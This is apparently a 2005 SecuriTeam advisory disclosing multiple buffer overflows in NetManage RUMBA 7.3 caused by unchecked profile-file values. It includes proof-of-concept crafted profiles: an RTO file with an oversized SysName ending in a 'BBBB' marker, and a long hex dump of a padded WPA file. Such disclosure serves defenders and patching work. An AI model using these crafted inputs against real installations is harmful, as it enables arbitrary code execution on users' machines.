[NT] Multiple Buffer Overflow In RUMBA

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To: list@securiteam.com
Date: 4 Apr 2005 13:15:15 +0200

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  Multiple Buffer Overflow In RUMBA
------------------------------------------------------------------------

SUMMARY

 <http://www.netmanage.com/> RUMBA "provides business users a friendly
Windows environment in which to access and use information from a broad
range of host systems, including IBM mainframe, IBM iSeries (AS/400),
Hewlett-Packard, UNIX, and VAX. It also provides the key functionality you
expect from a Windows-based emulator, including multi-session support,
host printer emulation and a variety of file transfer and host-based
graphics options".

The lack of range checking when parsing profile files, allow users to
craft special files that when RUMBA will read them, they will cause to a
buffer overflow that allow to execute arbitrary code.

DETAILS

Vulnerable Systems:
 * RUMBA version 7.3

There are several buffer overflow vulnerabilities which can be triggered
when loading a specially crafted profile into RUMBA. RUMBA does not copy
values safely from the profile file, and places too much trust on the
values length that was calculated or supplied within these files being
under a certain length limit.

Proof of Concept:
Snip of foo.RTO profile file:
[RUMBAFIL]
Version=5.32
InterIndex=4
SysName=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxBBBB
Type=RECV
Min=FALSE
Notify=TRUE
Percent=TRUE
Close=FALSE
Truncate=TRUE
Auto=FALSE
TruncateSpaces=TRUE
Nulls=FALSE
EncryptedPassword=FALSE
ASName=

EOF

snip of foo.WPA profile file (HEX)
00 00 00 00 00 00 00 43 3a 5c 50 72 6f 67 72 61
6d 20 46 69 6c 65 73 5c 4e 65 74 4d 61 6e 61 67
65 5c 52 55 4d 42 41 5c 53 79 73 74 65 6d 5c 50
72 66 53 61 76 65 31 2e 41 6d 78 78 78 78 78 78
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
78 78 78 78 78 78 78 78 78 78 78 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
EOF

ADDITIONAL INFORMATION

The information has been provided by <mailto:b_naamneh@hotmail.com> Bahaa
Naamneh .

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